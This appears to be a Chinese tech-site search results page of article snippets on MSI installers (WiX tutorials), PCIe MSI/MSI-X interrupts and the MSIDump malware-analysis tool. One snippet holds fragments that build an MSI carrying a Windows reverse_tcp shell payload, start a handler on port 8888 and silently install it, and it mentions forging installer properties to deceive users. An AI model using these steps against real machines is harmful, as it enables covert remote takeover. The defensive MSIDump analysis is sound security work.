首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

用 WiX 制作安装包:创建一个简单的 msi 安装包

本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 本文将带大家制作一个简单的 msi 安装包。...注意,选择的模板要注意这些要点: 图标上标记了“wix”,标签上标记了“WiX” 模板简介中说明这是在创建“MSI”文件 引用目标项目 在 WiX MSI 项目(在本教程中,我取的名字为 Walterlv.Installer.Msi...编辑基本的安装包信息 此时,我们距离完成 msi 打包只剩最后一步了,就是填写基本的安装包信息。...修改输出文件名 以上 Product.wxs 修改的是安装包的信息。...如果希望更改 MSI 安装包的文件名,则需要去项目的属性页里去修改,如下图: 测试效果 现在,我们完成了一个最简单的 MSI 安装包,测试安装一下。

89160

绝对干货:自定义msi安装包的执行过程

有时候我们需要在程序中执行另一个程序的安装,这就需要我们去自定义msi安装包的执行过程。 比如我要做一个安装管理程序,可以根据用户的选择安装不同的子产品。...通过下面的调用就可以去掉msi中自带的UI: NativeMethods.MsiSetInternalUI(2, IntPtr.Zero) [DllImport("msi.dll", CharSet =...或者通过它传递我们的消息给msi,比如说告诉msi,停止安装,执行cancel操作。使用这个方法需要注意的是,当你完成安装后一定要把原来的handler设回去。否则以后执行msi安装包可能会出问题。...在安装进行的过程中可以把cancel信息传递给MsiProgressHandler,当MsiProgressHandler检测到cancel信息后通过返回值告诉msi的执行引擎,执行cancel操作(msi...如果要安装多个msi只需在Install方法中循环就可以了。  总结一下,通过调用几个windows API,我们可以实现对msi安装过程的控制。

1.9K90
您找到你想要的搜索结果了吗?
是的
没有找到

用 WiX 制作安装包:为 WiX 制作的 msi 安装包添加 .NET Framework 环境检查

本文是 WiX Toolset 安装包制作入门教程 系列中的一篇,可前往阅读完整教程。 前面我们制作完成了一个简单的 msi 安装包。...本文将指导你在 msi 安装前检查 .NET Framework 的版本。...本文基于前一篇文章已经建好的项目继续: 用 WiX 制作安装包:创建一个简单的 msi 安装包 添加 WixNetFxExtension 引用 在 msi 安装包项目的“Reference”上右键,“添加引用...做两件事情: 得知当前系统环境是否已具备 .NET Framework 某版本; 根据判断结果决定此 MSI 包是否能被安装。...测试效果 现在,编译 MSI 项目,然后运行输出目录下的 msi 文件,你会……呃……看不到任何效果……因为我们的开发机上具备 .NET Framework 4.8 的环境,可完美运行 .NET Framework

49830

PCIe中MSIMSI-X中断机制

MSIMSI-X中断机制 在PCI总线中,所有需要提交中断请求的设备,必须能够通过INTx引脚提交中断请求,而MSI机制是一个可选机制。...在PCIe总线中,MSIMSI-X中断机制使用存储器写请求TLP向处理器提交中断请求,下文为简便起见将传递MSI/MSI-X中断消息的存储器写报文简称为MSI/MSI-X报文。...与MSI中断机制相比,MSI-X中断机制更为合理。本章将首先介绍MSI/MSI-X Capability结构,之后分别以PowerPC处理器和x86处理器为例介绍MSIMSI-X中断机制。...MSI/MSI-X Capability结构 PCIe设备可以使用MSI或者MSI-X报文向处理器提交中断请求,但是对于某个具体的PCIe设备,可能仅支持一种报文。...MSI中断机制最多只能使用32个中断向量,而MSI-X可以使用更多的中断向量。目前Intel的许多PCIe设备支持MSI-X中断机制。与MSI中断机制相比,MSI-X机制更为合理。

1.6K30

MSIDump:一款功能强大的恶意MSI安装包安全分析工具

关于MSIDump  MSIDump是一款功能强大的恶意MSI安装包安全分析工具,该工具还支持提取文件、数据流、二进制数据,并结合YARA扫描器来执行安全分析任务。...但如果你想要解析恶意MSI文件,到目前为止,我们可以信赖且能够可靠运行的就只有一个lessmsi工具,不过lessmsi并没有实现下列功能: 1、快速分类诊断; 2、二进制数据提取; 3、YARA扫描;...进行快速分类: cmd> python msidump.py evil.msi -y rules.yara 此时,我们将能够看到输入MSI被注入了可疑的VBScript,并且其中包含许多可执行文件。...然后运行下列命令: python msidump.py putty-backdoored.msi -l binary -i UBXtHArj (向右滑动、查看更多) 我们可以通过名称/ID或索引号(...这一次,Binary表中存储了一个可执行文件,这个可执行文件会在安装过程中被执行: 如需提取目标文件,可以直接运行下列命令: python msidump.py evil2.msi -x binary

78920

msi的简单使用

前言 Windows Installer 使用安装包,其中包含 Windows Installer 需要安装、卸载或修复产品以及运行安装程序用户界面 (UI) 的信息。...每个安装包都包含一个.msi文件,该文件包含安装数据库、摘要信息流和安装的各个部分的数据流。...msi -o 1.msi handler -p windows/x64/shell/reverse_tcp -H 0.0.0.0 -P 8888 msiexec /q /i 1.msi...在扩展中可以对安装包的属性进行设置,部分属性会在msi文件的详细信息中体现,所以可以对属性进行一些伪造欺骗 如果选择True时,在管理员权限下msiexec会使用SYSTEM权限执行安装: 启动条件.../log 123.log方式输出日志文件,通过对比日志文件进行更详细的条件设置 打包exe/二进制文件 MSI安装包中可以添加exe、dll、vbs、js类型二进制文件或脚本。

1K30

MSI-X的介绍(1)

本文将更偏向于具体编程实现的角度来介绍MSI-X,阅读本文需要有PCI总线以及MSI的基本前置知识。 MSI-X是PCI总线设备的一种中断方式,直接将中断投递到处理器核心的Local APIC。...它与MSI的区别在于,MSI-X属于是对MSI中断的扩展,他们的区别在于,MSI的话,只有32个中断向量,且必须连续,MSI-X可以有2048个,可以不连续。...并且,MSIMSI-X是互斥的,也就是说,对于某个pci设备而言,它要么启用MSI,要么启用MSI-X,不能同时启用二者。并且,有的PCI设备同时支持了二者,你可以选择启用其中的任意一种。...Message Control 图片 Message Control部分的bit分布 MSI-X Enable 若当前位为1,且MSI Enable为0,那么,当前function将被允许使用MSI-X...Pending bit Offset 这部分与上面的Table Offset类似,只不过涉及到的是MSI-X PBA MSI-X Table MSI-X Table中描述了该function的MSI-X

1.3K40

PCI Express 系列连载篇(二十四)MSIMSI-X中断机制 I

中断机制,包括MSI/MSI-X Capability结构(MSI Capability结构、MSI-X Capability结构)等内容。...在PCIe总线中,MSIMSI-X中断机制使用存储器写请求TLP向处理器提交中断请求,下文为简便起见将传递MSI/MSI-X中断消息的存储器写报文简称为MSI/MSI-X报文。...与MSI中断机制相比,MSI-X中断机制更为合理。本章将首先介绍MSI/MSI-X Capability结构,之后分别以PowerPC处理器和x86处理器为例介绍MSIMSI-X中断机制。...MSI/MSI-X Capability结构 PCIe设备可以使用MSI或者MSI-X报文向处理器提交中断请求,但是对于某个具体的PCIe设备,可能仅支持一种报文。...MSI中断机制最多只能使用32个中断向量,而MSI-X可以使用更多的中断向量。目前Intel的许多PCIe设备支持MSI-X中断机制。与MSI中断机制相比,MSI-X机制更为合理。

2.5K20

PCI Express 系列连载篇(二十五)MSIMSI-X中断机制 II

中断机制,包括PowerPC处理器如何处理MSI中断请求(MSI中断机制使用的寄存器、系统软件如何初始化PCIe设备的MSI Capability结构)相关内容。...MSIMSI-X中断机制 + ? PowerPC处理器如何处理MSI中断请求 PowerPC处理器使用OpenPIC中断控制器或者MPIC中断控制器,处理外部中断请求。...本节将MPC8572处理器为例说明MSI机制的处理过程,在第二十六篇介绍x86处理器如何实现MSI机制。...使用MPIC中断控制器处理MSI中断时,PCIe设备的MSI报文,其目的地址为MPIC中断控制器的MSIIR寄存器。...系统软件完成这些设置后,将置MSI Cabalibities结构的MSI Enable位有效,使能该PCIe设备的MSI机制。

1.4K20

使用WiX制作简单MSI安装程序

是一般使用的工具是两个:一个Visual Studio插件,在WiX的安装包里面附带,另一个就是WiXEdit,WixEdit是编辑的XMLXML的源代码的图形化工具箱.WixEdit会让你创造体制条件与...MSI和MSM测试wix工具箱.它提供了直观的、轻松的对话方式编辑wix文件来源。...该包介绍了作为部分 .msi 摘要流提供的属性,在资源管理器中将鼠标停留在 .msi 上方时就会看到这些属性。 查看 WiX 帮助文件文档中 Package 元素的其他可用属性。...对于许多安装程序(例如本示例),最好在 MSI 中将所有安装源文件打包在一起。通过 Media 元素,我们只需指定希望将文件存储到压缩和嵌入式 .cab 文件即可。...用一个UIRef为安装包添加一个界面。WixUI可以自定义,比如在界面上显示图片或者添加、删除某个界面。

3.4K90

PCI Express 系列连载篇(二十七)MSIMSI-X中断机制小结及系列完结篇

最近有很多大侠在交流群里讨论PCI总线,PCI作为高速接口之一,在当下的FPGA产品设计研发中,地位举足轻重,应用广泛,今天给大侠带来PCI Express 系列连载第二十七篇,也是本系列的最后一篇,包括MSI...和MSI-X中断机制章节小结以及本系列心得等相关内容。...MSIMSI-X中断机制章节小结 本章详细描述了MSI/MSI-X中断机制的原理,并以PowerPC和x86两个处理器系统为例说明这两种中断机制实现机制。...而理解这些中断控制器的实现机制是进一步理解MSI/MSI-X中断机制的要点。...对此部分有兴趣的读者可以继续阅读MPIC中断控制器和APIC中断控制器的实现机制,以加深对MSI/MSI-X中断机制的理解。

1.3K40

Monster Msi GE70 0ND-279CN

于是当时的想法是自己去分析这个程序的DeviceIOControl code,然后自己写一个应用层的程序和msi的驱动进行通讯。但是又想了一下逆向这个程序代价有点太大了。...最终在这个页面http://tw.msi.com/product/nb/GE70-0NC.html#/?div=Utility&os=Win7%2064找到了win7 64的驱动。...这一点其实倒是不奇怪,只是msi给wifi加上这么一个开关应该导致很多人想降级成win7而不能。其实我倒是不排斥win8,只是感觉新的ui操作起来比较困难,有太多的不习惯。...Msi做的有点绝的一点就是在换硬盘和内存的被盖螺丝上同样加了保修标签,而这个标签在我拿到不到一个小时就让我破坏掉了,为了换硬盘。其实现在也蛮好的。没有想象的那么好,但是也不错。...* 本文链接:https://h4ck.org.cn/2013/02/monster-msi-ge70-0nd-279cn/ * 转载文章请标明文章来源,原文标题以及原文链接。

1K10

用 WiX 制作安装包:创建一个简单的 exe 安装包

本文开始前,请确保你已经可以生成一个最简单的 msi 安装包了: 用 WiX 制作安装包:创建一个简单的 msi 安装包 由于 exe 格式的安装包自己带了 UI,所以 msi 中的 UI 怎么样都是可以不用管的...引用 MSI 项目 我们现在的这个项目生成的是捆绑包(Bundle),是为了将多个安装包集合到一起进行安装的。...我们需要在这个捆绑包里面安装我们上一篇教程中创建的 MSI 安装包,所以我们需要引用这个创建 MSI 的项目。...文件的一样,那么无论是做成 MSI 还是 EXE 格式的安装包,他们都是可以互相被升级的。...关于设置 MSI 和 EXE 安装包的 UpgradeCode 的更多细节,可以阅读我的另一篇博客: MSI 和 EXE 的 UpgradeCode 应该设置成相同还是不同?

65420
领券